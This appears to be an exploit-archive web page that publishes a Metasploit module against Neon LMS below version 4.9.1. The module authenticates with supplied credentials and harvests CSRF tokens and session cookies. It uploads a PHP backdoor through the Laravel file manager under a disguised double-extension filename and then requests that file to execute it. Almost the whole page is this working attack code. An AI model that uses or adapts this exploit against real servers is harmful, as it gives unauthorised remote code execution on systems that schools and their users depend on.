what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Neon LMS Shell Upload

Neon LMS Shell Upload
Posted Jun 16, 2020
Authored by th3d1gger | Site metasploit.com

This Metasploit module exploits a shell upload vulnerability in Neon LMS versions prior to 4.9.1.

tags | exploit, shell
SHA-256 | 749010ff43f971981242f85c980096cb557db5d146390277cdd27f8f69e8d235

Neon LMS Shell Upload

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require "net/http"
require "uri"
require 'nokogiri'


class MetasploitModule < Msf::Exploit
Rank = ExcellentRanking

include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient



def initialize(info = {})
super(update_info(info,
'Name' => 'Neon LMS < v4.9.1 Shell Upload ',
'Description' => %q{
This module exploits File Manager File Upload
vulnerability found in NEON LMS.
},
'Author' => [ 'th3d1gger' ],

'License' => 'MSF_LICENSE',
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {} ],
],
'DefaultTarget' => 0 ))
register_options(
[
OptString.new('EMAIL', [ true, 'Email to login with', 'student@lms.com']),

OptString.new('PASSWORD', [ true, 'Password to login with', 'secret'])

], self.class)
end
def primer
end
def email
datastore['EMAIL']
end

def password
datastore['PASSWORD']
end




def auth

#print cookie
#print response.body
uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s)
http = Net::HTTP.new(uri.host, uri.port)

# make first call to get cookies
request = Net::HTTP::Get.new(uri.request_uri)

response = http.request(request)
doc = Nokogiri::HTML(response.body)

csrf = doc.search("meta[name='csrf-token']").map { |n|
n['content'].to_s
}
# save cookies
cookiexsrf = response.response['set-cookie'].split(';')
#cooke = cookiexsrf = response.response['set-cookie']

cookieneon = response.response['set-cookie'].split('/')
cookielms= cookieneon[1].split(',')[1].split(';')[0]

#print cookie
#print response.body
uri = normalize_uri('/login')
#print cookiexsrf[0]+';'+cookielms
request = Net::HTTP::Post.new(uri)
request.set_form_data({"email" => email, "password" => password, '_token'=> csrf[0]})

# Tweak headers, removing this will default to application/x-www-form-urlencoded
request["X-CSRF-TOKEN"] = csrf[0]
request['Cookie'] = cookiexsrf[0]+';'+cookielms
request['X-Requested-With'] = 'XMLHttpRequest'
request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36'
response = http.request(request)



if response && response.body.include?("success")

print_good("Awesome..! Authenticated with #{email}:#{password}")



doc = Nokogiri::HTML(response.body)


# save cookies
cookiexsrf = response.response['set-cookie'].split(';')
#cooke = cookiexsrf = response.response['set-cookie']

cookieneon = response.response['set-cookie'].split('/')
cookielms= cookieneon[1].split(',')[1].split(';')[0]

uri = URI.parse('http://'+rhost.to_s+':'+rport.to_s+'/user/dashboard')
http = Net::HTTP.new(uri.host, uri.port)

# make first call to get cookies
request = Net::HTTP::Get.new(uri.request_uri)
request['Cookie'] = cookiexsrf[0]+';'+cookielms
request['X-Requested-With'] = 'XMLHttpRequest'
request['User-Agent'] = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36'
response = http.request(request)

doc = Nokogiri::HTML(response.body)

csrf = doc.search("meta[name='csrf-token']").map { |n|
n['content']
}


cookiexsrf = response.response['set-cookie'].split(';')
#cooke = cookiexsrf = response.response['set-cookie']

cookieneon = response.response['set-cookie'].split('/')
cookielms= cookieneon[1].split(',')[1].split(';')[0]



@fname = "#{rand_text_alphanumeric(rand(10)+6)}.gif.php .php"
php = "<?php #{payload.encoded} ?>"
data = Rex::MIME::Message.new

data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"upload\"; filename=\"#{@fname}\"")
post_data = data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/laravel-filemanager/upload?type=&_token='+csrf[0]),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookiexsrf[0]+';'+cookielms,
'data' => post_data
})

if res.code == 200

print_status("backdoor uploaded")
file = res.body.split('\'')[-2]
file = file.split(" ")[0]
print_status("#{file}")
print_status("#{peer} - Executing #{file}...")
uri = URI.parse(file)
http = Net::HTTP.new(uri.host, uri.port)

# make first call to get cookies
request = Net::HTTP::Get.new(uri.request_uri)

response = http.request(request)
print_status(res.body)
else

print_status("failed")
end
else
# print_status(response.body)
fail_with(Failure::NoAccess, 'Credentials are not valid.')
end


end



def exploit
auth

if auth.nil?
fail_with(Failure::Unknown, 'Something went wrong!')
end
end
end
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close